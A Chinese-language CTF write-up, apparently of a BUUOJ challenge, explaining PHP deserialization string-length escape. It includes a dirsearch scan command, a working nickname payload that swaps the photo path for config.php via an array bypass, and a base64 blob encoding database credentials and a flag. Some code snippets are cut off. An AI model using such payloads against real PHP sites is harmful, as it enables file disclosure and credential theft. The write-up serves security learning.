考点:php反序列化字符长度逃逸
打开题目
一般看到登录框,就以为是sql注入题,这道题不是。
dirsearch扫网站目录
1 | python3 dirsearch.py -u "http://16b5eb0b-ac30-452a-808a-0e9214102abd.node3.buuoj.cn/" -s 1 --exclude-status=429,403 -t 1 |
看了别人wp,这道题存在源码泄露,在网站目录会泄漏一个www.zip
文件,用工具扫,还不容易扫出来,我开了代理居然扫不出来。
下载下来,有这么些文件。
分析
关键的三个地方
update.php
1 | if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { |
profile.php
1 |
|
class.php
1 | public function show_profile($username) { |
简化来看
1 |
|
按照下列参数进行提交,返回的序列化结果
1 | phone=11111111111&email=123@qq.com&nickname=fany |
1 | a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:4:"fany";s:5:"photo";s:7:"upload/";} |
提交过滤参数,看返回的序列化结果
1 | phone=11111111111&email=123@qq.com&nickname=wherewherewhere |
1 | a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:15:"hackerhackerhacker";s:5:"photo";s:7:"upload/";} |
可以看到出现了报错,原本输入的where序列化后的长度为15,输出显示的时候,经过了filter对其内容进行了过滤,where被替换为hacker,但是序列化后的长度没有变,替换成hacker,由于where比hacker少了一位,所以在读取时,发现读取到15位的时候并没有读取到 ;
所以就照成了报错。
接下来利用这个漏洞
1 | phone=11111111111&email=123@qq.com&nickname=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";} |
1 | a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:7:"upload/";} |
直接可以看到photo
变成了config.php。分析一下,";s:5:"photo";s:10:"config.php";}
的字符串长度为33,输入了33个where,总长度为33+33*5=198,在总长度不变的情况下,33个where替换成了33个hacker,
33*6=198,自然读取到的就是 结束的位置,后面接上的";s:5:"photo";s:10:"config.php";}
就接着读取。因为总属性为4个,也已经读取完毕,后边的;s:5:"photo";s:7:"upload/";}
就会被丢去掉。
回到题目
1 | if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { |
update.php 里的 会接收三个参数,$profile[‘phpone’]、$profile[‘email’]、$profile[‘nickname’]。
在传入$profile[‘ncikname’]会存在一个条件
1 | if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) |
不是大写字母小写字母数字下划线 或者 字符串长度大于10 就直接报错,停止程序,这里直接就来一手数组绕过。
进行profile.php页面,提交,抓包。
1 | wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} |
得到
1 | PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2U1ZWY1MDE0LWMzZmQtNDIyYS1hNWE4LWYyMDkzMWM0YWNmYX0nOwo/Pgo= |
base64解码
坑点
提交的时候 需要将nickname转换为数组进行提交,我提交多次都都还是读取不到,报Warning: file_get_contents(): Filename cannot be empty in /var/www/html/profile.php on line 16,看了他们的payload后,发现在ncikname处有 } 闭合,我就很纳闷,我平时序列化都是末尾才会有这个括号,后来经过验证,只要是数组,都会单独有个闭合。
payload
1 | wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} |